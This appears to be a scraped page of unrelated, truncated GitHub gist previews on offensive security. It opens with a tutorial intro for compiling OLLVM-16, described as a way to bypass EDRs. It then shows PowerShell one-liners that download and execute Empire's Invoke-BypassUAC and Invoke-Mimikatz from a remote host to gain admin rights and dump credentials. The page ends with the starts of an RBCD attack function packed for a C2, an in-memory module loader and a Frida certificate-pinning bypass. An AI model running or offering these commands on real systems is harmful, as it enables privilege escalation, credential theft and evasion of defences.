emanuelduss

OLLVM-16 Compilation Tutorial

Obfuscator-LLVM is a modified version of the LLVM compilers/toolchain to obfuscate source code. This can e.g. be used to bypass EDRs.

Someone might find this useful, since there was no step-by-step instructions on how to correctly compile OLLVM-16.

Prerequisites

Required software:

drwscefn

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands

klezVirus

function Invoke-GenericWriteRBCD
{

    <# Based on Gist by dirkjan - Packed to be used from a C2 #>
    [CmdletBinding()]

    param
    (
        [Parameter(Mandatory=$True, HelpMessage="The name for the newly created computer")]
        [string]$Computer,

nullbind

function New-InMemoryModule
{

    Param
    (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )

teknogeek

Java.perform(function() {
    console.log('\n[.] Cert Pinning Bypass');

    // Create a TrustManager that trusts everything
    console.log('[+] Creating a TrustyTrustManager that trusts everything...');
    var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    var TrustyTrustManager = Java.registerClass({
        name: 'com.example.TrustyTrustManager',
        implements: [X509TrustManager],
        methods: {